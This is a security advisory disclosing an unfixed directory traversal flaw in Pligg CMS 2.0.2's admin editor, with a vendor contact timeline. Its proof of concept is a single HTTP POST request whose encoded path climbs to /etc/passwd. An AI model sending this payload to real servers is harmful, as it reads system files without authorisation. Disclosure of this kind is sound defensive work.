Pligg CMS 2.0.2: Directory Traversal
Date: 2015-10-07 11:49:561. Introduction
| Affected Product: | Pligg CMS 2.0.2 |
| Fixed in: | not fixed |
| Fixed Version Link: | n/a |
| Vendor Website: | http://pligg.com/ |
| Vulnerability Type: | Directory Traversal |
| Remote Exploitable: | Yes |
| Reported to vendor: | 09/01/2015 |
| Disclosed to public: | 10/07/2015 |
| Release mode: | Full Disclosure |
| CVE: | n/a |
| Credits | Tim Coen of curesec GmbH |
2. Vulnerability Description
The editor delivered with Pligg CMS is vulnerable to directory traversal, which gives an attacker that obtained admin credentials the opportunity to view any file stored on the webserver that the webserver user has access to.
Please note that admin credentials are required.
3. Proof of Concept
POST /pligg-cms-master/admin/admin_editor.php HTTP/1.1
the_file=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&open=Open
4. Solution
This issue was not fixed by the vendor.
5. Report Timeline
| 09/01/2015 | Informed Vendor about Issue (no reply) |
| 09/22/2015 | Reminded Vendor of disclosure date |
| 09/22/2015 | Vendor replied, issue has been send to staff |
| 09/29/2015 | Reminded Vendor of disclosure date (no reply) |
| 10/07/2015 | Disclosed to public |